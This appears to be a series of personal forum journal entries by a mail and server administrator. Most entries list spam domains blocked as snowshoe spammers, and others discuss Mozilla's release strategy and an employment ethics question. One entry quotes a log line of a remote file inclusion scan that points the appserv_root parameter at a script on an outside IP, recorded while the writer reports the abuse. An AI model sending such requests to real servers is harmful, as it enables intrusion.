Here's today's winner:

net-ooinf.com

This is (slightly modified) from a recent post that I made. I figured I'd make a journal entry, because it was added to the story way too late to actually get any replies.

Here's what I'd do, if I were Mozilla CEO:

1) Apologize for all the zany shit that's gone on since 4.0. Can't hurt. Might help. At least, in the short term, it would mollify those who've recently complained that the Mozilla devs are uncaring, egotistical bastards.
2) Make sure that people who didn't speak for Mozilla made it clear they were speaking personally, not for Mozilla. They can say whatever they want, but they just have to make people aware of the fact that it's not a official statement from Mozilla.
3) Set up a new project, called Firecheetah or something, where development happens at breakneck speed, UI is in flux, and new technologies are readily adopted. It would have a rolling release, possibly automatically updated. This would be recommended for power users, enthusiasts, and web developers. There would be two or three channels: alpha, beta, and standard. Alpha would be like nightlies, where new code is tested first. These might crash a lot. Since the whole project is beta quality work, I'm not convinced that a beta channel even makes all that much sense, but, hey, why not. If it turns out to be redundant, it can be removed. Beta code is supposed to work as intended, but will probably need some testing to validate this. And, finally, we have the standard channel, where users are constantly inundated with new code from the beta channel, once it seems stable. If it turns out to not be stable, then they'll deal with it, since this project is more about rapid development than stability... and the next bugfix will be delivered shortly, anyway. This project is for the people who hate stagnation. It might be codenamed "Ritalin". Heh.
3) Retain the Firefox project, but as a more enterprise-friendly, stable version. Major versions would be heavily beta-tested before release. This would be the version that "normal" users and enterprises are encouraged to use. This version would be supported for a long time, with promises that the API will not change between minor revisions. Major revisions would be kept to a minimal amount each year, preferably with a leisurely development rate. Features from Firecheetah (ugh, I hate that name, but I'm not very good at branding) would be backported, after they've been sufficiently tested. My vision is for Firefox to be very conservative about changing the UI, adding superfluous features, or having crazy API changes that exist merely because someone got bored. This would be the browser that you use when you want a Firefox 2.0 oe 3.0 style experience: lean, mean, and stable. Architectural changes would be readily accepted, as long as they don't cause bloat or change the API. This project is for the people who hate change for the sake of change.

Add-on compatibility between the two projects would have to be decided, but I don't think it would really be reasonable to expect that an add-on would be cross-project. A compatibility layer could be written into Firecheetah. One might be able to enable or disable this feature, so that it doesn't bloat the browser too much. Plug-ins, such as Flash or Java, would be compatible. The Javascript engine would also be compatible, though the Firecheetah engine might be a bit faster and streamlined, at the cost of decreased stability.

I'm sure there's stuff that I'm overlooking, and I might be overestimating the ability of computer users to handle having two browser projects coming from Mozilla, but I think this is actually pretty workable.

In the end, there isn't a huge difference between having two separate projects (Firefox and.. ugh... Firecheetah) vs having different channels of one project, where one of those channels (alpha or aurora or whatever they fuck they call it) is in constant flux. However, my way leaves a place for people who just want a browser that just works. I'm aware that my ideas aren't revolutionary, unique, or perfect for every circumstance; I'm just throwing this out there, because I'm bored and haven't posted a journal entry in years.

Here's today's list:

anaboll.com
dockeyel.com
coliza.com
adarabo.com
datergr.com
dumkarr.com
increun.com
circust.com
honeuk.com
dandele.com
ficeme.com
graftsm.com
troutia.com
tuciseas.com

All came from the same Class C, just like a typical snowshoe spammer would, so that's been blocked too.

Let's say you were approached to work for a big name company who is working on a lot of really amazing high tech products. Their current employees seem intelligent, motivated, friendly and happy to work there. The work environment looks sweet. The only thing making you have second thoughts is that some of their actions (such as pushing for lower corporate taxes) don't exactly mesh with your ethics. Sure, they're not anti-competitive; they even do a lot of open source; but more than a few of their actions have come under fire as unethical. Would you work for them? Would an employment boycott be effective?

Just for the record, no, I have not received an offer yet; I don't presume that I'm a shoe-in (they have a very high false positive rate). I'm putting this out early to get as many responses as I can. I currently work for the US DoD, which some would see as extremely unethical. If you can't figure out from what I've told you so far (and my comment history) which company this is, you probably shouldn't reply to this, but I'll take all the input I can get.

Here's today's list:

graftsm.com
tuciseas.com
anaboll.com
coliza.com
troutia.com

Another snowshoe spammer, so the Class C is blocked too.

Am I the only one seeing this? Why aren't Apple submissions showing up in the firehose? Can I get the same effect on the front page, pretty please?

Here's today's winner:

iwuzborndizway.info

As if a domain name that retarded needed anything other than being blocked.

Here's today's list:

mktdns.com
ethreemail.com

Since the takedown of the Rustock botnet total spam volume has dropped but the snowshoe spammers have cranked back up. Here's today's list:

alsopagehim.com
doesnearher.com
evencitynow.com
kindcrabbuu.com
hereheadgo.com
homeopenbe.com
movecarfor.com
nearmetrolike.com

Since the shutdown of the Rustock botnet, total spam volume has dropped but the snowshoe spammers have cranked their operations back up. Here's today's list:

alsopagehim.com
doesnearher.com
evencitynow.com
hereheadgo.com
homeopenbe.com
movecarfor.com
nearmetrolike.com
pagedailybe.com

I've been encountering a lot of appserv_root scans using IP addresses in Turkey as the inclusion file:

2011/4/06 03:05:43 404 (URI not found) Mozilla/4.0 (compatible; MSIE 6.0; Windows 98) /var/log/httpd/access_log GET /appserv/main.php?appserv_root=http://88.255.225.20/appserv/t.txt? HTTP/1.1

The original requests are coming from Amazon's cloud services, and other "cloud" providers like cloud-ips.com, which doesn't seem to have a Website.

If you call Amazon's whois phone number for the Technical Contact, it's their legal department. They'll never answer, you have to email or fax your request.

I got Josh Odom's personal voicemail when I called the whois Tech # for cloud-ips.com. Left a message, we'll see if he calls back.

Here's today's list:

cheewecity.com
mebuyhead.com
canheopen.com
weshecar.com
ithavemetro.com
otwedaily.com
doforcrab.com
atlovefood.com
homeyoumuch.com

Snowshoe spammer, so the Class C is blocked too.

Here's today's winners:

gestiena.info
gonosynt.info
mifuelia.info
lydding.info
joleeti.info
odourat.info
excipli.info
plaforb.info
dinnywo.info
daytilt.info
sourcemediatwenty.info
sourcenowfifteen.info
sourcemedianineteen.info
sourcemediaeighteen.info
sourcebulletinfive.info
mediabulletintwelve.info
sourcebulletinseven.info
sourcebulletinsix.info
websourcethirteen.info

Another round of snowshoe spammers from 2 different Class C's, so they're blocked too.

Here's today's list:

aurelop.com

Snowshoe spammer, so the whole Class C is blocked too.

Here's today's winner:

cheapstingybargains.com